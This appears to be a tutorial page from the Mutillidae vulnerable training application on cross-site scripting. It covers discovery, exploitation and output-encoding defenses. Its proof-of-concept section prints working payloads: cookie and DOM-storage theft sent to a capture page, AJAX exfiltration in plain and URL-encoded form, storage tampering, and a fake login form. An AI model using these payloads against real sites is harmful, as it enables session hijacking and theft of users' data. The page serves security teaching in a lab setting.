Cross-site Scripting (XSS)


Overview

Cross-site scripting and HTML injection may occcur when user or attacker controlled input is later incorporated without being encoded into the web server response. In other words, the attacker can send input which later is incorporated into the web page the user receives.

Cross-Site Scripting may occur when a script is displayed in page output but is not properly encoded. Because of the lack of proper encoding, the browser will execute the script rather than display it as data. Pages that encode all dynamic output are generally immune. The page will simply display the script as text rather than execute the script as code.

YouTubeVideo Tutorials

Discovery Methodology

The first step to Cross-Site Scripting is to determine which of the sites input is displayed as output. Some input is immediately output on the same or next page. These pages are candidates for reflected Cross-Site Scripting. Some input may be stored in a database and output later on the appropriate page. These situations may be ripe for the most dangerous type of XSS; persistent XSS.

Developers may treat input from forms carefully, while completely ignoring input passed via URL Query Parameters, Cookies, HTTP Headers, Logs, Emails, etc. The key is to encode ALL output and not just output that came into the site via forms/POST.

Step 1: For each page under scrutiny, enter a unique string into each form field, url query parameter, cookie value, HTTP Header, etc., record which value has which unique string, submit the page, then observe the resulting page to see if any of your unique strings appeared. Upon finding a unique string, note which value had contained that string and record this on your map.

For example inject all available parameters of the web page with a searchable string such as the word "CANARY" along with characters generally useful in writing HTML, JavaScript or other code. Search the response carefully noting any location where the test string appears unencoded. These locations may allow cross-site scripting. See Rsnake\'s XSS Cheet Sheet for more ways you can encode XSS attacks that may allow bypassing some filters.

An example injection might be <CANARY={}""()'';#$--/>1. Adding a sequencial integer to the test input can help determine which of the inputs parameters resulted in the response string found.

Step 2:The second step is to test all the input locations from step #1 with various scripts, css, html tags, etc. and observe the resulting output. If the site fails to encode output, it is a candidate for XSS.

Enter interesting characters such as angle brackets for HTMLi and XSS, Cascading style sheet symbols, etc. to see if the site encodes this output. If the site does not encode output, try inserting XSS, CSS, HTML, etc. and watch for execution. If the site has a WAF, this is likely the point at which you will detect the WAF presence.

Unfortunately the input could end up as output on any page within the site, all pages within the site, or none of them. If the values are not reflected immediately but presented on a later page (for example in search results) then it should be assumed the value is stored in a database.

Remediation

Cross-Site Scripting occurs because a script is displayed in page output but is not properly encoded. Because of the lack of proper encoding, the browser will execute the script rather than display it as data. Pages that encode all dynamic output are generally immune. The page will simply display the script as text rather than execute the script as code.

The first step to Cross-Site Scripting is to determine which of the sites input is displayed as output. Some input is immediately output on the same or next page. These pages are candidates for reflected Cross-Site Scripting. Some input may be stored in a database and output later on the appropriate page. These situations may be ripe for the most dangerous type of XSS; persistent XSS.

Developers may treat input from forms carefully, while completely ignoring input passed via URL Query Parameters, Cookies, HTTP Headers, Logs, Emails, etc. The key is to encode ALL output and not just output that came into the site via forms/POST.

Exploitation

Determine the prefix and suffix needed to make the injected code "fit" syntatically then add a payload between. Inject the exploit.

Cross site scripting will work in any unencoded output. It does not matter if the value being output initially came from a form field (usually POST) or URL parameteres (GET). If fact the value can come from any source. For example, if a web page outputs the user-agent string in whole or part, you can use a tool such as User-Agent Switcher plug-in for Firefox to attempt XSS via the User-Agent HTTP Header. Any HTTP Header can be forged with or without tools. If you would like to forge an HTTP Header without tools, try Netcat. Other options include intercepting and changing the web request after the request leaves the browser. Burp Suite is an excellent tool to try on your own machine. Try changing the user-agent to the XSS examples on this page. Also, try this sample HTML injection. The XSS could be directly placed into the database then pulled later. This can happen from a hacked database, a rouge DBA, or via SQL injection such as with ASPROX. This is why output encoding is a better defense than input validation for XSS. If the XSS makes it into the database but never has to pass through the validation to get there, input validation will not work.

Some pages are easier to exploit because the page reflects any input. This input could be from the Cookies, and URL query parameter, or any POSTed parameter. This may be seen in the view source as a comment in which the developer dumps the referer string for diagnostic purpouses (and therefore dumps the query parameters as well). When a random parameter is created and injected, this is known as a parameter addition attack.

Cross Site Scripting Via URL query parameters

Note any URL query parameters and inject a script into each.

Cross Site Scripting Via POST parameters

Use Burp-Suite to note POST parameters and inject a script into each.

Cross Site Scripting Via Cookie

Use Cookie Manager or Burp-Suite to create a cross site script and inject a script into each cookie. If the page prints the value of the cookie to the screen, the script will execute.

Cross Site Scripting Via HTTP Headers

Any time dynamic output is displayed by the browser, think "Cross-Site Scripting". Work backwards from that output to see if there is a way to influence what is output. This could be as simple as entering "123" in the first field, "456" in the second field, and so on. Repeat this for all input including HTTP Headers, Cookie values, Hidden Fields etc. If those inputs show up anywhere in the output investigate further. Dont look for visible output. That will miss most of the output. Search the entire response stream including all the HTTP Headers. If you find your test strings, send in more useful characters such as "<". Some developers sanitize input which may later be output. Others encode (escape) the input. These are nice tries but can result in "FAIL" because the data could be changed after it is input encoded by someone with access to the database, a database corrupting script, or any attempts to filter/sanitize can be flawed/bypassed.

Any time the application uses the HTTP headers there are multiple possibilities. If the HTTP header is output into the page, think XSS. But with HTTP Headers, also consider HTTP Response Splitting. HTTP Headers are delimited (separated) by line-breaks. Check out the RFC on HTTP to see the specification. When an application included some type of input as output into the HTTP Header, it may be possible to inject a line-break. If this is possible, then an actor could also inject a new HTTP Header of there choosing. These two situations are counterparts. XSS via HTTP Headers may occur when HTTP Request Headers are output into the HTTP Response. HTTP Response Splitting may occur when user/database input is output into HTTP Headers.

Try Tamper Data to get control of all the HTTP headers in the request. You can start by changing the user-agent to see your input displayed here.

Examples - Proof of Concept

Many examples can be found at http://ha.ckers.org/xss.html. A basic test for XSS may be the following that attempts to pop up an alert box

<script>alert("XSS");</script>

This example is of stealing a cookie. This could be reflected or persistent. To make this persistent, try to get the script stored into a database field which is later output onto a web page.

<script>alert('Cookies which do not have the HTTPOnly attribute set: ' + document.cookie);</script>

Same example with the single-quotes escaped for databases such as MySQL. This allows the XSS to be stored in the database. When the web site (or another site) pulls the XSS from the database at a later time, it will be served with the site content.

<script>alert(\'Cookies which do not have the HTTPOnly attribute set: \' + document.cookie);</script>

Examples - Stealing Cookies

A more realistic attempt of cookie stealing includes some mechanism to send the value of the cookie to an attacker controlled server
<script> new Image().src="http://[the-ip-of-mutillidae]/mutillidae/capture-data.php?cookie="+encodeURI(document.cookie); </script>
When passing code as a parameter value, the code has to be encoded so that is does not get parsed by the web server. The code needs to make it passed the web server to the application without being modified by the web server.
%3Cscript%3Enew%20Image().src%3D%22http%3A%2F%2Fmutillidae.localhost%2Fcapture-data.php%3Fcookie%3D%22%2BencodeURI(document.cookie)%3B%3C%2Fscript%3E
An example of a complete URL is the following. Note: Substitute the domain name or IP address of your Mutillidae installation.
http://[ip-address-of-mutillidae]/mutillidae/index.php?page=user-info.php&username=%3Cscript%3Enew%20Image().src%3D%22http%3A%2F%2Fmutillidae.localhost%2Fcapture-data.php%3Fcookie%3D%22%2BencodeURI(document.cookie)%3B%3C%2Fscript%3E&password=&user-info-php-submit-button=View+Account+Details

Examples - Stealing cookies quietly with AJAX

This example forwards the cookies to the Mutillidae Capture Data page using an AJAX request running in the background
<script> var lXMLHTTP; try{ var lData = "data=" + encodeURIComponent(document.cookie); var lHost = "localhost"; var lProtocol = "http"; var lFilePath = "/mutillidae/capture-data.php"; var lAction = lProtocol + "://" + lHost + lFilePath; var lMethod = "POST"; try { lXMLHTTP = new ActiveXObject("Msxml2.XMLHTTP"); }catch (e) { try { lXMLHTTP = new ActiveXObject("Microsoft.XMLHTTP"); }catch (e) { try { lXMLHTTP = new XMLHttpRequest(); }catch (e) { alert(e.message);/*For testing only*/ } } }/*end try*/ lXMLHTTP.onreadystatechange = function(){}; lXMLHTTP.open(lMethod, lAction, true); lXMLHTTP.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); lXMLHTTP.send(lData); }catch(e){ alert(e.message);/*For testing only*/ } </script>

Examples - HTML Injection

JavaScript is not the only language that can be used. HTML is another choice that can be effective.

<h1>Sorry. There has been a system error.<br /><br />Please login again</h1><br/>Username<input type="text"><br/>Password<input type="text"><br/><br/><input type="submit" value="Submit"><h1>&nbsp;</h1>

Examples - Realistic Attack

AJAX can make the XSS more stealthy

Example (Mutillidae running at localhost)

<script> var lXMLHTTP; try{ var lData = "data=" + encodeURIComponent(document.cookie); var lHost = "localhost"; var lProtocol = "http"; var lFilePath = "/mutillidae/capture-data.php"; var lAction = lProtocol + "://" + lHost + lFilePath; var lMethod = "POST"; try { lXMLHTTP = new ActiveXObject("Msxml2.XMLHTTP"); }catch (e) { try { lXMLHTTP = new ActiveXObject("Microsoft.XMLHTTP"); }catch (e) { try { lXMLHTTP = new XMLHttpRequest(); }catch (e) { alert(e.message);/*For testing only*/ } } }/*end try*/ lXMLHTTP.onreadystatechange = function(){}; lXMLHTTP.open(lMethod, lAction, true); lXMLHTTP.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); lXMLHTTP.send(lData); }catch(e){ alert(e.message);/*For testing only*/ } </script>

Example (Mutillidae running on Apache virtual host)

<script> var lXMLHTTP; try{ var lData = "data=" + encodeURIComponent(document.cookie); var lHost = "mutillidae.localhost"; var lProtocol = "http"; var lFilePath = "/capture-data.php"; var lAction = lProtocol + "://" + lHost + lFilePath; var lMethod = "POST"; try { lXMLHTTP = new ActiveXObject("Msxml2.XMLHTTP"); }catch (e) { try { lXMLHTTP = new ActiveXObject("Microsoft.XMLHTTP"); }catch (e) { try { lXMLHTTP = new XMLHttpRequest(); }catch (e) { alert(e.message);/*For testing only*/ } } }/*end try*/ lXMLHTTP.onreadystatechange = function(){}; lXMLHTTP.open(lMethod, lAction, true); lXMLHTTP.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); lXMLHTTP.send(lData); }catch(e){ alert(e.message);/*For testing only*/ } </script>
Note that some characters which are reserved in databases are also reserved in web servers. If submitting injections directly via an interception proxy like Burp-Suite, URL encode the injection to avoid a syntax error on the web server.

URL Encoded version (with TAB spaces (%09) removed
%3c%73%63%72%69%70%74%3e%0a%76%61%72%20%6c%58%4d%4c%48%54%54%50%3b%0a%74%72%79%7b%20%0a%76%61%72%20%6c%44%61%74%61%20%3d%20%22%64%61%74%61%3d%22%20%2b%20%65%6e%63%6f%64%65%55%52%49%43%6f%6d%70%6f%6e%65%6e%74%28%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%29%3b%0a%76%61%72%20%6c%48%6f%73%74%20%3d%20%22%6c%6f%63%61%6c%68%6f%73%74%22%3b%0a%76%61%72%20%6c%50%72%6f%74%6f%63%6f%6c%20%3d%20%22%68%74%74%70%22%3b%0a%76%61%72%20%6c%46%69%6c%65%50%61%74%68%20%3d%20%22%2f%6d%75%74%69%6c%6c%69%64%61%65%2f%63%61%70%74%75%72%65%2d%64%61%74%61%2e%70%68%70%22%3b%0a%76%61%72%20%6c%41%63%74%69%6f%6e%20%3d%20%6c%50%72%6f%74%6f%63%6f%6c%20%2b%20%22%3a%2f%2f%22%20%2b%20%6c%48%6f%73%74%20%2b%20%6c%46%69%6c%65%50%61%74%68%3b%0a%76%61%72%20%6c%4d%65%74%68%6f%64%20%3d%20%22%50%4f%53%54%22%3b%0a%0a%74%72%79%20%7b%0a%6c%58%4d%4c%48%54%54%50%20%3d%20%6e%65%77%20%41%63%74%69%76%65%58%4f%62%6a%65%63%74%28%22%4d%73%78%6d%6c%32%2e%58%4d%4c%48%54%54%50%22%29%3b%20%0a%7d%63%61%74%63%68%20%28%65%29%20%7b%20%0a%74%72%79%20%7b%20%0a%6c%58%4d%4c%48%54%54%50%20%3d%20%6e%65%77%20%41%63%74%69%76%65%58%4f%62%6a%65%63%74%28%22%4d%69%63%72%6f%73%6f%66%74%2e%58%4d%4c%48%54%54%50%22%29%3b%20%0a%7d%63%61%74%63%68%20%28%65%29%20%7b%20%0a%74%72%79%20%7b%20%0a%6c%58%4d%4c%48%54%54%50%20%3d%20%6e%65%77%20%58%4d%4c%48%74%74%70%52%65%71%75%65%73%74%28%29%3b%20%0a%7d%63%61%74%63%68%20%28%65%29%20%7b%20%0a%2f%2f%61%6c%65%72%74%28%65%2e%6d%65%73%73%61%67%65%29%3b%2f%2f%54%48%49%53%20%4c%49%4e%45%20%49%53%20%54%45%53%54%49%4e%47%20%41%4e%44%20%44%45%4d%4f%4e%53%54%52%41%54%49%4f%4e%20%4f%4e%4c%59%2e%20%44%4f%20%4e%4f%54%20%49%4e%43%4c%55%44%45%20%49%4e%20%50%45%4e%20%54%45%53%54%2e%20%0a%7d%20%0a%7d%20%0a%7d%2f%2f%65%6e%64%20%74%72%79%0a%0a%6c%58%4d%4c%48%54%54%50%2e%6f%6e%72%65%61%64%79%73%74%61%74%65%63%68%61%6e%67%65%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%7b%7d%20%0a%6c%58%4d%4c%48%54%54%50%2e%6f%70%65%6e%28%6c%4d%65%74%68%6f%64%2c%20%6c%41%63%74%69%6f%6e%2c%20%74%72%75%65%29%3b%0a%6c%58%4d%4c%48%54%54%50%2e%73%65%74%52%65%71%75%65%73%74%48%65%61%64%65%72%28%22%48%6f%73%74%22%2c%20%6c%48%6f%73%74%29%3b%20%0a%6c%58%4d%4c%48%54%54%50%2e%73%65%74%52%65%71%75%65%73%74%48%65%61%64%65%72%28%22%43%6f%6e%74%65%6e%74%2d%54%79%70%65%22%2c%20%22%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%22%29%3b%0a%6c%58%4d%4c%48%54%54%50%2e%73%65%6e%64%28%6c%44%61%74%61%29%3b%0a%0a%7d%63%61%74%63%68%28%65%29%7b%20%0a%7d%20%0a%3c%2f%73%63%72%69%70%74%3e%0a

Steal DOM Storage values from another users browser (intermediate)

Peristent (Stored, Second Order) Cross Site Script NOTE: This version "MySQL escapes" the "\n" new-line character by doubling up the "\" character because "\n" means new-line in MySQL and this is going to be inserted into the database.
<script>try{var m = ""; var l = window.localStorage;for(i=0;i<l.length;i++){ var lKey = l.key(i);m += lKey + "=" + l.getItem(lKey) + ";\\n";}; var s = window.sessionStorage;for(i=0;i<l.length;i++){ var lKey = s.key(i);m += lKey + "=" + s.getItem(lKey) + ";\\n";}; document.location="http://localhost/mutillidae/capture-data.php?html5storage=" + m;}catch(e){alert(e.message);}</script>

Steal DOM Storage values from another users browser (advanced)

Peristent (Stored, Second Order) Cross Site Script NOTE: This version "MySQL escapes" the "\n" new-line character by doubling up the "\" character because "\n" means new-line in MySQL and this is going to be inserted into the database.
<script>try{ var s = sessionStorage; var l = localStorage; var m = ""; var lXMLHTTP; for(i=0;i<s.length;i++){ m += "sessionStorage(" + s.key(i) + "):" + s.getItem(s.key(i)) + "; "; } for(i=0;i<l.length;i++){ m += "localStorage(" + l.key(i) + "):" + l.getItem(l.key(i)) + "; "; } var lAction = "http://localhost/mutillidae/capture-data.php?html5storage=" + m; lXMLHTTP = new XMLHttpRequest(); lXMLHTTP.onreadystatechange = function(){}; lXMLHTTP.open("GET", lAction); lXMLHTTP.send(""); }catch(e){} </script>

Add/Edit value to another users DOM storage

Peristent (Stored, Second Order) Cross Site Script NOTE: This version "MySQL escapes" the "\n" new-line character by doubling up the "\" character because "\n" means new-line in MySQL and this is going to be inserted into the database.
<script>try{var m = "";var l = window.localStorage;var s = window.sessionStorage; for(i=0;i<l.length;i++){var lKey = l.key(i);m += lKey + "=" + l.getItem(lKey) + ";\\n";}; for(i=0;i<s.length;i++){var lKey = s.key(i);m += lKey + "=" + s.getItem(lKey) + ";\\n";};alert(m);}catch(e){alert(e.message);}; localStorage.setItem("AccountNumber","123456");sessionStorage.setItem("EnterpriseSelfDestructSequence","A1B2C3"); sessionStorage.setItem("SessionID","japurhgnalbjdgfaljkfr");sessionStorage.setItem("CurrentlyLoggedInUser","1233456789");try{var m = "";var l = window.localStorage;var s = window.sessionStorage;for(i=0;i<l.length;i++){var lKey = l.key(i);m += lKey + "=" + l.getItem(lKey) + ";\\n";};for(i=0;i<s.length;i++){var lKey = s.key(i);m += lKey + "=" + s.getItem(lKey) + ";\\n";};alert(m);}catch(e){alert(e.message);}</script>

Delete value from another users DOM storage

Peristent (Stored, Second Order) Cross Site Script NOTE: This version "MySQL escapes" the "\n" new-line character by doubling up the "\" character because "\n" means new-line in MySQL and this is going to be inserted into the database.
<script>try{var m = "";var l = window.localStorage;var s = window.sessionStorage; for(i=0;i<l.length;i++){var lKey = l.key(i);m += lKey + "=" + l.getItem(lKey) + ";\\n";}; for(i=0;i<s.length;i++){var lKey = s.key(i);m += lKey + "=" + s.getItem(lKey) + ";\\n";};alert("HTML-5 web storage:\\n\\n" + m);}catch(e){alert(e.message);};localStorage.clear();sessionStorage.clear();try{var m = "";var l = window.localStorage;var s = window.sessionStorage;for(i=0;i<l.length;i++){var lKey = l.key(i);m += lKey + "=" + l.getItem(lKey) + ";\\n";};for(i=0;i<s.length;i++){var lKey = s.key(i);m += lKey + "=" + s.getItem(lKey) + ";\\n";};alert("HTML-5 web storage:\\n\\n" + m);}catch(e){alert(e.message);}</script>

Cross Site Scripting Defenses

To defend against Cross-Site Scripting, encode all output per context. Just because the application sanitized/validated/filtered the input when the user sent the input doesnt mean the application is safe. The database could be altered by a rouge insider, a database attack such as ASPROX, or a mallicious programmer. Developers should not have access to production database data; ever. Developers should not be able to copy their own code into production; ever. That is what change control is for.

Videos


YouTubeCross-Site Scripting: Part 1- What is Reflected XSS?
YouTubeCross-Site Scripting: Part 2 - What is DOM-based XSS?
YouTubeCross-Site Scripting: Part 3 - What is Persistent XSS?
YouTubeCross-Site Scripting: Part 4 - How Output Encoding Stops XSS
YouTubeCross-Site Scripting: Part 5 - How to Test Output Encoding
YouTubeWhat is Content Security Policy? - Part 1
YouTubeWhat is Content Security Policy? - Part 2
YouTubeWhat is Content Security Policy? - Part 3
YouTubeWhat is Content Security Policy? - Part 4
YouTubeWhat is Content Security Policy? - Part 5
YouTubeContent Security Policy: Script Source (script-src)
YouTubeHow to Set HTTP Headers Using Apache Server
YouTubeCheck HTTP Headers with cURL
YouTubeHow to Check HTTP Headers (Command Line)
YouTubeHow to Check HTTP Headers from Browser
YouTubeCookies: Part 1 - How HTTPOnly Works
YouTubeWhat is the XSS Protection Header?
YouTubeCheck for Vulnerable Libraries in Your Web Application
YouTubeHow to Enable Apache Mod-Headers